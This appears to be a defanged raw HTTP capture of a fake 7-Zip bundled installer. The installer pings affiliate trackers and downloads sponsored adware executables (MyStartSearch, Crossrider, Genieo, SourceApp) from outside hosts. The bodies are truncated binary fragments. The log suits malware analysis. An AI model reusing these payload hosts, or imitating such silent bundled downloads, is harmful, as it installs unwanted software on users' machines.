GET /pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=ef016749e4b3b84c8b6f3946b9bc2c0d&uniqid=false&affiliate_id=awfr7zip23772&software_id=7zip&sponsored_id=pricefountain&tokyo_csrf2_key=e90f48eb648df52ca607e59d779e47aa&tokyo_csrf2_timestamp=1420692797&slot_number=2&index_in_screen=1&index_in_session=2&display_height=137&0.10294261059546283 HTTP/1.1

Accept: */*

Referer: hXXp://installer.filebulldog.com/awfr7zip23772/7zip/ef016749e4b3b84c8b6f3946b9bc2c0d?v=2.0&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: installer.filebulldog.com

Connection: Keep-Alive

Cookie: __utma=1.260128705.1420692778.1420692778.1420692778.1; __utmb=1.1.10.1420692778; __utmc=1; __utmz=1.1420692778.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK

Server: nginx

Date: Thu, 08 Jan 2015 04:54:13 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Thu, 08 Jan 2015 04:54:13 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..

GET /images/Tokyo/tokyo_sprite_full.png HTTP/1.1

Accept: */*

Referer: hXXp://installer.filebulldog.com/awfr7zip23772/7zip/ef016749e4b3b84c8b6f3946b9bc2c0d?v=2.0&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: dsba220j59f4d.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: image/png

Content-Length: 26401

Connection: keep-alive

Server: nginx

Date: Wed, 07 Jan 2015 12:09:06 GMT

Last-Modified: Wed, 07 Jan 2015 11:57:28 GMT

ETag: "54ad1f28-6721"

Expires: Wed, 07 Jan 2015 12:19:06 GMT

Cache-Control: max-age=600

Accept-Ranges: bytes

Age: 144

X-Cache: Hit from cloudfront

Via: 1.1 afbd195d23ca809c251a7455baddae14.cloudfront.net (CloudFront)

X-Amz-Cf-Id: eWK2b7eIzUTdD8kFoh6r0u2hZ7M_krSPPLXerQHltv8z9yAgPSE8PQ==
.PNG........IHDR...............-)....tEXtSoftware.Adobe ImageReadyq.e&
lt;..."iTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCe
hiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk=
"Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27        "> &
lt;rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#">
 <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1
.0/" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http:/
/ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photo
shop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:080CC8DDBD6511E3B018CC78
0203A0F9" xmpMM:DocumentID="xmp.did:080CC8DEBD6511E3B018CC780203A0F9"&
gt; <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:080CC8DBBD6511E3B0
18CC780203A0F9" stRef:documentID="xmp.did:080CC8DCBD6511E3B018CC780203
A0F9"/> </rdf:Description> </rdf:RDF> </x:xmpmeta>
; <?xpacket end="r"?>..!C..c.IDATx......G}.....9....,....;...Mx.
1..!.l...`............{..%.q...o..qp ...1.flA0..E.d......vW..W/S..3..I
gF:....5=..=}..3....._.B>......!...%.....RJr....e...m......M...uW*.
.v..j.J.b.~.w.7QI/....{.@...)]....}.Ugf......eM.u..].N."c%.,.V...;.5..
}.v.......A...l>.;.>O....Lo..ku^......3.8....x./M.G]5y.(P....p..
.X..^.z.....R._ ..m..u/|.......:D.Z....\........;\....k.....|x>7\."
....RLi.$.%ZWo\......o.]]q...|.r.......Y.3.mal...d{{..W.....fQ.-......
.j5..e.....6............k(......b^k.....|miA....A$..(;o.??D.p.S5S'..KW
.......=....>..H..f.5....N.t...6 .......0w.0.`.......x.y....S{.<<< skipped >>>

GET /sponsored/mystartsearch/eula-mystartsearch.html HTTP/1.1

Accept: application/x-ms-application, image/jpeg, application/xaml xml, image/gif, image/pjpeg, application/x-ms-xbap, */*

Referer: hXXp://installer.filebulldog.com/awfr7zip23772/7zip/ef016749e4b3b84c8b6f3946b9bc2c0d?v=2.0&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: dsba220j59f4d.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

Server: nginx

Date: Sun, 04 Jan 2015 04:55:36 GMT

Last-Modified: Sun, 26 Oct 2014 17:24:16 GMT

Expires: Sun, 04 Jan 2015 05:05:36 GMT

Cache-Control: max-age=600

Content-Encoding: gzip

Vary: Accept-Encoding

Age: 583

X-Cache: Hit from cloudfront

Via: 1.1 afbd195d23ca809c251a7455baddae14.cloudfront.net (CloudFront)

X-Amz-Cf-Id: s-RLEpQi1qaYBSJup8Y1OC6EML8Yeaoeg7ks_vCTo3NbNjs6Td4sfg==
1b75.............\...Gv.-?E-.Xq...$...>f!.....V$y...,..".V.......0.
.H....5.(~..s...j..d..G..3lvWW.....{k....7Wo........{.../._......O....
.y....o.z..O..7MV.EW.UV^\|....V].yxq.....O.u..x....c.....y.<9..|t..
cy.....''....g...r..r.h.M..\...'...t..g..^..".2..2.j..z......b.'....U^
..K....7..k.j.~...]l.9.v../..s....=......E.-.?....!.....O.T..<.w?.}
...7.y.vYY.f...p...'.....2................,..^......_g.k...`.... ...f3
....w.z?.5.......?.........?.xJ....?....z.Q(.U.... P>..qyq..Ct.....
g.....o^...W......|.a.w...W. ...........n_.. ../............`Iy=..1,w.
........l.u.........{...&eQ}H..7>..=;..............4.v~<j|9..ZN.
..zI...Z9.8..y.~.f..h....r..l..U~.*.|.W..&3..-......u..w.ww'..[t...X..
....._..]~....k.en...H..h.-....x...#.Y.._...../.yg^.u......{.K..Y..CwO
>.VE.........f..r}QW.y[.........-.uQ........M..w?....y%E.^i....y.)`
...h.....5.._p...7..w..V...72.}-3...H...~.=t.....;z..H...]...h.?..?Abp
.....f.....U]...[<...o..........:8..M..........\....vUo..k.J....[.K
..nQ.e.._.S.....5}r".....@,j..cx../..d._..:.x..}...o.$............Mp..
.H.z......k..G..#gBG.{y..t..hur....I..0..<...cY7Hr%..PKD.?.lL......
.?i.bR....y.a4}...'.i..."..C...a..z.....%"..#.Tq~..0...5.$Ye ....r..5.
]...1`..)......5.> ....)..hUW.=.4gL.b.b....Z...<..(9!..../...K..
..P.m.KD......hF.F...(.6.e]..._}b.K.}... }[email protected]. :..i22
.H(Y..CU.J.K......J..z.y.2..j.JC....fh,.L.B.l[...p.[Kp.....A#....>.
.S........(..Y...c&.H...x...,[email protected](11\.......4...V..\.H.S....9...#v.
{.)*I...i......... ....B.h...Ir..Yc....(n..."c5`8.A....,....#.....<<< skipped >>>

GET /home/smt_mystartsearch.exe HTTP/1.1

Range: bytes=154160-

User-Agent: Better Installer(Mozilla)

Host: VVV.girlzhangwei.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Thu, 08 Jan 2015 04:53:18 GMT

Content-Type: application/octet-stream

Content-Length: 154160

Last-Modified: Wed, 07 Jan 2015 02:46:14 GMT

Connection: keep-alive

Expires: Sun, 11 Jan 2015 04:53:18 GMT

Cache-Control: max-age=259200

Content-Range: bytes 154160-308319/308320
g.........t...]....2........U...E.3...t.=....w...P.*g.........t...]...
......U.....S.].VW...U..G...........?........}..M..W.;.s..G.......G..@
... .;.rV3...t..U..].......D..A;.r..]..W....0....~?;.s!.E.....E..M...8
......E...@..@;.r..}.3...3...3. .t..U....48....D..A;.r._^[..].........
....U......P...3..E.SVW....3..W..d$.....D5...B..D5...B..D5...B..D5....
.R....r..G......?.8.....8r..x... .Q............j..U............S..G...
[email protected]._^3.[..^....]..
..U....\[email protected]..........$......P.
[email protected]..}..u...#.....#....U..E..x.j.....
.......#...#....M...V..............#...#....M....p $...........#...#..
..M................#.....#.......|..M..............#.#.....*..G.M.....
.......#...#......F0..M............#...#.......F..M..........#.....#..
......i.M..........#.....#.......D..M............#...#......[...M.....
.........#.#.......\..M..............#.#....."..k.M..}............#...
#....}....q..........]..U..}.....#...#....]..E...Cy.......E...#.......
#M..!..I...}..M.....#......#....u..E..b%......@.@.#........#....U.....
.....#.....#.....QZ^&.M..........#.....#..........M..............#.#..
...]./..M..............#.#.....S.D..M............#...#..........M.....
.......#...#..........M.........#......#........!.M.........#......#..
.....7..M............#...#..........M..U.......#........#.......ZE.M..
.....#......#....U..}..................#...#....u..E............#.....
.#....}.....og...........#...#....]..E...L*.....3......3..B9...E..<<< skipped >>>

GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1

Range: bytes=107085-

User-Agent: Better Installer(Mozilla)

Host: d3aa6lfjz7mo54.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 178473

Connection: keep-alive

Date: Sun, 04 Jan 2015 05:53:17 GMT

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894

Cache-Control: max-age=3600

Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT

x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC

ETag: "518879abe3170dabd172dfffcd165598"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 107085-285557/285558

Age: 3473

X-Cache: Hit from cloudfront

Via: 1.1 638edf9523a0468376605c9ac0dc1ab0.cloudfront.net (CloudFront)

X-Amz-Cf-Id: IO9WFPbSae9fDdhCZrJ5Iurx-PfOYq2P6Ni2OHmFJ4o-BLeWXGCGuA==
...^]..)..;....h.d1...5^1...B...Q...z.N....WC'./..h......U.S....[...*.
>P.^jM..%i.3T5..w..$.X......?u.U...!.0..s.../..F.....i...k........9
M?.....p..3....J.Q.../s............8.0w2J"h..1...W.#[email protected].,Kao.@..:Kl
...Pk./%[email protected](j8&R..;..KE.UZ..&..........B.Y...'3D.
....K....>..6/......DM.....5B...k.I5.&....3....2..oe\[email protected]...
?...0r..J..ko...Kr.3.?A....um..r6..k......3....tX.....hQV.'.`.....X.3u
[email protected]"}.e..W.......BP.i...(GG%...P.]3".q<.A.l{.
......u..J.J.J.6Z(..-.w......)....nI\Z.B.>.xi#p. .9._(..m......"..c
...AnY.~......;..W....(..".d...EF...2..V....D..I .._..z.Y..o.......^..
.i2.c....'J...0B?............<...TM....T..)....Y../..Xg......>|m
C....O.......-7.z 9A..U..<U......Z.Q.X...i...C...D.s_...^..r..aJ...
.mm......p.......W.......'.*....LA".P......Y5np.z..../ro..>..\.$d-.
i_.g..=...*.]0$.Z:r...D. ..O*i.......B.%..K..^@...6Z....%....c...q...z
.R!].w(}.e.....R}7.c.......-...0/..i.....;..... ...'...tf.=....g>.N
...A........\..vHz.........{5.."s.........R...\.p.xj}...~=..w.V..$%...
.,o..Xa>...8.Q..E.....b.qL.K..a.....o0{...CEd/......J_n.......0T...
.#. .x...k0.....M'yr.X.U..E...oF.z.rE.oX....E...q...M..l*....q...~.`b.
.\..#..kJ..Mlt".P9..B.Y..r.j....Q.Y.1..w...%.x..nH....Mg-....#RZ.g..c.
..`no~.~.=.7y.....cI...jM;.....8.4O.Y...w..5..RZ.}..`..V..z/.{.....t..
y#Vr.9_;.-.G....s..\l^..h.]...{.^...{..`...oae....A...\&|....4.z......
....t.0...MzJ'...!.iW`x.xG#.T.Q...p..<.7...S...... q.6n=m2....o..aW
[email protected]{h;k.o....#.H.".c..<I#.b......].<<< skipped >>>

GET /images/Tokyo/tokyo_sprite_full.png HTTP/1.1

Accept: */*

Referer: hXXp://installer.filebulldog.com/awfr7zip23772/7zip/9e6180970114bd468bddca6b91fb0979?v=2.0&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: d2ly1rbvrtv0k6.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: image/png

Content-Length: 26401

Connection: keep-alive

Server: nginx

Date: Wed, 07 Jan 2015 13:01:27 GMT

Last-Modified: Wed, 07 Jan 2015 11:57:28 GMT

ETag: "54ad1f28-6721"

Expires: Wed, 07 Jan 2015 13:11:27 GMT

Cache-Control: max-age=600

Accept-Ranges: bytes

Age: 46

X-Cache: Hit from cloudfront

Via: 1.1 38342e76ee3a325e32291f04943992d6.cloudfront.net (CloudFront)

X-Amz-Cf-Id: k2N91Iy82aNyoITIJCzLVCseXPZm3EL3HN2Cda0x2AYfDJdPAh3n1Q==
.PNG........IHDR...............-)....tEXtSoftware.Adobe ImageReadyq.e&
lt;..."iTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCe
hiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk=
"Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27        "> &
lt;rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#">
 <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1
.0/" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http:/
/ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photo
shop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:080CC8DDBD6511E3B018CC78
0203A0F9" xmpMM:DocumentID="xmp.did:080CC8DEBD6511E3B018CC780203A0F9"&
gt; <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:080CC8DBBD6511E3B0
18CC780203A0F9" stRef:documentID="xmp.did:080CC8DCBD6511E3B018CC780203
A0F9"/> </rdf:Description> </rdf:RDF> </x:xmpmeta>
; <?xpacket end="r"?>..!C..c.IDATx......G}.....9....,....;...Mx.
1..!.l...`............{..%.q...o..qp ...1.flA0..E.d......vW..W/S..3..I
gF:....5=..=}..3....._.B>......!...%.....RJr....e...m......M...uW*.
.v..j.J.b.~.w.7QI/....{.@...)]....}.Ugf......eM.u..].N."c%.,.V...;.5..
}.v.......A...l>.;.>O....Lo..ku^......3.8....x./M.G]5y.(P....p..
.X..^.z.....R._ ..m..u/|.......:D.Z....\........;\....k.....|x>7\."
....RLi.$.%ZWo\......o.]]q...|.r.......Y.3.mal...d{{..W.....fQ.-......
.j5..e.....6............k(......b^k.....|miA....A$..(;o.??D.p.S5S'..KW
.......=....>..H..f.5....N.t...6 .......0w.0.`.......x.y....S{.<<< skipped >>>

GET /partner/gim394750002/release/live/InstallGenieo.exe HTTP/1.1

Range: bytes=494204-

User-Agent: Better Installer(Mozilla)

Host: download.genieo.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

x-amz-id-2: u158IlBRaQLiPSZTc RpPAjtmUyceXtGI4ZKhNw3ax5seodbcUYin97e6VfUXVYv/mPSbK4e2Yo=

x-amz-request-id: 6FE21E660286B297

Date: Thu, 08 Jan 2015 04:55:19 GMT

Last-Modified: Mon, 20 Oct 2014 09:54:42 GMT

ETag: "d65611fbc4da8cea4e886076bec82d1e"

Accept-Ranges: bytes

Content-Range: bytes 494204-988407/988408

Content-Type: application/octet-stream

Content-Length: 494204

Server: AmazonS3
.;M@{..M.?..4R.[v. .-..bIcw.......b.....!..rf.P.........0.....{......y
..WL.D*^[email protected].)4......V.P!s...!pW6$~......T
..i...kQ.X..-.V.&...;.`...._B..-*.V.*[.S..?...)$\....i...E;........|p.
B|ON......:...@,.qX.vb8.%.<@..z.>_.RB..y.n.oX.AW1(....YU.4..O...
.Q...........A.z[.G..-z#......4/...X..N..l|.p..5!'hV.._.n..c..^.k...E.
....p..5B.......HEm.dh.4.sGUh..WP7.#...........:Z.].K"............B]W.
V...L0q~.].AB.`.trp.eW..J##..[.r,.(.&...."..G..B........#o..`....p...]
5{w.......%z......P}......Wj. M)^...5...Y.C._.7..*........'.. jI.c...t
..@$.X.ty...1.He...eV....}.l.R.2....A.P.....q....#"..58.Yg.f...(...1).
....,......|.#.KB...3H$..N...r...r.)...^.ST.$..?\.... 8,d....{ M...u..
:C........e..FL.j....S...MMd....%.N.i.....y.c..M..H....v.~5........:.f
DI...#.....0.(TH...sWso...:.#~....p....B!.....D."m..Xt..c,.m...e....z.
F*..m.Ci.Qt.....j.m*<...n.7...M..J......(..{....z......y.v.."@kNX.k
3{.m.[.._m\....(...Rz.ka..Qwb....3.\o.?.x..6........j..Do..j....)q....
]Q..}.. ....9....x.. b#Q/ .g.._.-Y.ZZ..r>2.e.\zu....d:w..].j..ma.0D
[........9..2.=...<....j..h.D.3Z..0.f.{$......i..tm..y.J.>.$.kz.
......_.....z...Q.K.(..=.7..I....C.9R_.z...w...B.... ..y...2.j..@'q.m.
.zs..}.........z...r).~....%.............]..rY0..Y.sgE...B.e.....|.<
;h..q.tLPw.....MD....z.....z..3..jP.KQ6>.I..#.{...gyf...@|..#....|.
.,t..m....q*.r.OLX`"B.....k....!n.Q;n......2vn....... a....{..|z...H..
..C.!.eGn.#.....-..m.R...N...._..e..k.&../p......b.....jq.L.-.c..q/..O
/b.......m....~.....:D.A&..Y...`...z..c..U...F...jZ.G.s....*..AI..<<< skipped >>>

GET /sd?is=sm HTTP/1.1

Range: bytes=145866-291732

User-Agent: Better Installer(Mozilla)

Host: install-cdn.sourceapp.info

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Pragma: no-cache

Content-Type: application/octet-stream

Server: Microsoft-IIS/7.5

Content-Disposition: attachment; filename=SourceAppSetup.exe

X-AspNet-Version: 4.0.30319

SVR: SP003C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Cache-Control: private, max-age=86400

Expires: Fri, 09 Jan 2015 04:53:20 GMT

Date: Thu, 08 Jan 2015 04:53:20 GMT

Content-Range: bytes 145866-291732/583464

Content-Length: 145867

Connection: keep-alive
..l..I..lV.r.X?.z#[4..N.Z..<..Yd...........X.Q~p...;....}rw.d?AtH..
...$...5..Y..IO.w...r....=.]..)L.G...[..Q._D...=..v..).5.jN._.9..l.5.$
.....FXM...-.qF>..>....UgG6..h1...eQ....92....~!?.w.e.Lc.~U..U..
.`i....X...t..%.$.C..x...Y.3..~.?X.{...}.|.Y.T...v..C!/.Z......b.e62.d
.YE.o...?&..... ....H"...E(y./.Z..6.U}._...w....o..s..).9..axM.t...*..
.8J........2}...Yq.M.........G..#..Y..........=.A...~..R....QL9.......
.VB......E.5t..w ....X.8..o8..y)..E-0.zP.\..w~..)....<.\..}RX7.o...
V..t.}......'.............6o8....L .H.....&...R.,.....k..Bf.LJ.......\
......0..$.s.u.. ....w..~.)..c......X......[.....[..:...W..k...Z...:..
.Z.a...C?.......W.=gs..w.\..md..BO....Z.....;{.0d.z....".....W....{.W.
..j2.V.a.....q..,...V......sr;.........n.".S.WI..n?........Z....^..7..
 }....B.m. .eXsG...%. .K.].'..6..,,.iZ......C......nK'.$oJ.}k......7-.
.0.a.)2...(DQ.?.Q..[...!....TV........-c...6..Y.gz.E.......M?... h.C..
........@G]C^e...P^....0..d._......8....:.A..r....I.j.\..."....|.7.yZ.
X'.t....j.n....L..A~DeP.Sr........U..LV~......T.....]L...s.K.a........
..".y..II...{._...A......u...*sg.........1...S.Jv.hE.x..rX....bF.. ..i
 ;.........N...`'.-....h$....L;t.)-.gY..kI.BolS...db...,@*9.6K..<`.
.R$..4$.-s.u.s.d_Vs.....T..;....}.9]WR...1o.a......^.).8fR \...3.M....
.W}[email protected].... zi=-
...p:.8.......].5.W...~K."[email protected]"rr.d.4<{.....5.....P...W...
.ZHNC.w.Y.= .}.1.7..u.....N....0..`...].I...J&p7....w79.......pB.J1.B.
>...4.{.M..RB.g..e....1`..s....Vl?v....sW.6..>.L.>.....9f<<< skipped >>>

GET /awfr7zip23772/7zip/9e6180970114bd468bddca6b91fb0979?v=2.0&muid=96D78F35E7B7EA4FC32736D428DF43B4 HTTP/1.1

Accept: */*

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: installer.filebulldog.com

Connection: Keep-Alive

Cookie: __utma=1.260128705.1420692778.1420692778.1420692778.1; __utmb=1.4.10.1420692778; __utmz=1.1420692778.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK

Server: nginx

Date: Thu, 08 Jan 2015 04:55:13 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Vary: Accept-Encoding

Content-Encoding: gzip
600a...............z.F.>..<.w..:qH.Z..;.a~^....DN'=....A........
.......{.s......NO..i...U.ZN..=.6..d.."m.......?.........I....(./.e.\.
......".g......e.q.}....np.......5...Qx..Rj ....x..O...............d.O
.A<^._..E6......}:]~.;....4....W..a.-...l.u}./..I.L...t...w/....^.9
:]....t.G.......R..K{.oM..... ./....h}g1.,?...t1..F.}..*.7.'X..n.wv.x2
...yc...M\~q]...],..t.]....".......0x?9.c..Y".....x.........1...?]..F.
.(u.E.\...)..d..Y....c^gK.X.:rx......-&..$......?7.p..`...>9]\.O.9.
.....lap1.....i/..^...[.....qo.b..Kt..![&#.}8...A.X..S.....".c..?..K4z
:.....l%s.t!...?-N.i2..c...V.(.....;]\[email protected]./
......x..O...t9.t...>[U:........%G..s.|.8.g.sL..Y..~.._......0I...6
..g......../.M...q.8.]^.....y.q....sP.X...x.v.$.q#[4..(...X...OLr.....
.({............i.O.t|z.......Q<=?.4.,<Zd...N...&.M....J...g.f.f.
.....N?.ct...........p.....K.kW...}.a.}rS.Eo..-.7g.Nq..Q.....M..px.Y&l
t;]...5.x.........g(..y...i..w.3...r..=$.....=.M...Y>....`).J....9.
.....w{{?~..N......./.......?..!...>.$...Z........{;?........s..Q..
../8.......u..........(..}.w....s..d...n..2...;.ap...._W.c.7.j.E... ..
..._^|...~...~....~..........~...............Z........{C...........|..
...;_9.w.r9......r. ..n....^wk.w.......C._<.^..Z~...Q3[.}......"]&l
t;.{.OL!...oY.N.H/...Tn...gS0.1.......<..l.N...r=.u.^..1u......J...
{'.............G...0..8..I.j../.....G.=k]]....\N..2../cp.i?/..[Wl!....
..e3..Za?.y......Ri....K...t.....i.*.4..F..-....>.'G.I...o...2.S...
.|t.O...W.....?~.....([l.~l.....0....`[email protected]]..J...f..%..<<< skipped >>>

POST /installer/ajax HTTP/1.1

x-requested-with: XMLHttpRequest

Accept-Language: en-us

Referer: hXXp://installer.filebulldog.com/awfr7zip23772/7zip/9e6180970114bd468bddca6b91fb0979?v=2.0&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept: application/json, text/javascript, */*; q=0.01

Content-Type: application/x-www-form-urlencoded

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: installer.filebulldog.com

Content-Length: 4119

Connection: Keep-Alive

Cache-Control: no-cache

Cookie: __utma=1.260128705.1420692778.1420692778.1420692778.1; __utmb=1.4.10.1420692778; __utmz=1.1420692778.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1

country=UA&uid_orig=9e6180970114bd468bddca6b91fb0979&uid=9e6180970114bd468bddca6b91fb0979&affid=awfr7zip23772&sid=7zip&cli_id=&softwareName=7-Zip&installerVersion=2.0&osVersion=6.1.7601 Service Pack 1 64bit&ieVersion=4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)&defaultBrowser="C:Program Files (x86)Mozilla Firefoxfirefox.exe" -osint -url "%1"&defaultBrowserName=ff&originBrowser=ff&hostBrowser=ff&tzo=MTIw&muid=96d78f35e7b7ea4fc32736d428df43b4&cu=false&cd=false&tokyo_csrf_key=9344b29550cc9b119856a386936a015a&tokyo_csrf_timestamp=1420692913&unique_id=false&clientIp=193.138.244.231&ffInstalled=fa
HTTP/1.1 200 OK

Server: nginx

Date: Thu, 08 Jan 2015 04:55:13 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Vary: Accept-Encoding

Content-Encoding: gzip
f10.............\is.F.. S.J...xST..(.J.ko\....0...C.....hZ.........(Yr
..*..`.s..t.y.....n...O....u.G<......Q.. .Tj.....` ..M...z.....ScQ.
b ?...#W.,_.J.,....x..x*.... 6...`.x....X.(gy......x..m..Lv.]W$..c.E.f
4X...T.PD....w/...[9<7.0..h....p...6.....r}......m.^...'..iF....E"_
.....U...cI.O..6..t.qp?.U...M.........TS.........ASEZ.~..lk<.....hu
.C..K.C..Bpj..tXE....../.e............j8.......m.'hm..!6...SZ`,. ..F..
e[?.l...*`m"R...A=2....K...5....-.z.f)...c.......'.s.... Ys....(.0.D..
@...Y{Bs.N.qJ.m.m.e*................9f.M.......b.xu...=6f[...`g.A.....
*....(B...........kv&rl,.L......B..F.r....F.n.U.c<,.P.K..`C=H..r.n.
CCI.1. Y!h..C.....c4WM.^.!..gj%w.e....S..&Kcmn....l...r....C.r.\...y..
......Y.%.\..c.d...2Z..E6!.?[((@..%..)...b...6#.w..X....ia.%.h.\o....f
.......>.......%.<.-..r..J..L.<Y.yr29..y..3lfPw4...f..1Pj...w
.v{8...V..O.$!.jm.b.. &_'[email protected]~d..x...aj8.7d"'@..Q..n.b./.
.v......."..A..!:.G.q'....9Fpe].`)Go.G.$.r.]..B.....P..m....d...[.....
....nFPH.YFZ......<V.P7......_._L......o.??......$5.y...]>^.)...
0!....b....v....tp...{.F..z.8..;....y........W.V.....~3...i...%.4.H.ZM
..;3")....*.".Xb...'@!X<-P.~.m-.Akp;A}$9........1>.......1......
.a.}<x.=...S..U..y.....V`."...i.V.r&.2.lK*..#/.q..~...........{Lm.r
[email protected])3.T..H....b...T...W.Us....... .7a.'[email protected].
....}.F....gp^.t.......m$A.X..y..".Z..5.:.Z..6.v..d..o..6P.V^}9..A3/..
`[email protected]$V,....i.&G...c....$..R......0P..[.|.|A.\.
\0N-........CT............y....f..."[email protected]/*............<<< skipped >>>

GET /pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=9e6180970114bd468bddca6b91fb0979&uniqid=false&affiliate_id=awfr7zip23772&software_id=7zip&sponsored_id=priceless&tokyo_csrf2_key=9344b29550cc9b119856a386936a015a&tokyo_csrf2_timestamp=1420692913&slot_number=1&index_in_screen=1&index_in_session=1&display_height=125&0.06286979173393464 HTTP/1.1

Accept: */*

Referer: hXXp://installer.filebulldog.com/awfr7zip23772/7zip/9e6180970114bd468bddca6b91fb0979?v=2.0&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: installer.filebulldog.com

Connection: Keep-Alive

Cookie: __utma=1.260128705.1420692778.1420692778.1420692778.1; __utmb=1.5.10.1420692778; __utmz=1.1420692778.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1; __utmc=1


HTTP/1.1 200 OK

Server: nginx

Date: Thu, 08 Jan 2015 04:55:22 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Thu, 08 Jan 2015 04:55:22 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..

GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1

Range: bytes=249864-

User-Agent: Better Installer(Mozilla)

Host: d3aa6lfjz7mo54.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 35694

Connection: keep-alive

Date: Sun, 04 Jan 2015 05:53:17 GMT

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894

Cache-Control: max-age=3600

Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT

